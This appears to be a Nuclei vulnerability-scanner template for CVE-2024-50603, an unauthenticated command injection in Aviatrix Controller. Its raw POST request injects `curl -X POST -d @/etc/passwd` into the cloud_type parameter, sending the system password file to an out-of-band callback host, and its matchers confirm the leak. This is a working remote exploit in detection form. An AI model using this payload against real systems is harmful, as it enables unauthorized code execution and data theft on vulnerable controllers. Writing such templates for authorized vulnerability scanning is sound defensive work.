id: CVE-2024-50603

info:
  name: "Aviatrix Controller - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper
    neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute
    arbitrary code.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-50603&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=aviatrix&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-50603
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2024,aviatrix,controller,rce,oast,kev,vkev,vuln
variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+@/etc/passwd+{{oast}})

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: status
        status:
          - 200

      - type: regex
        part: interactsh_request
        regex:
          - 'root:.*:0:0:'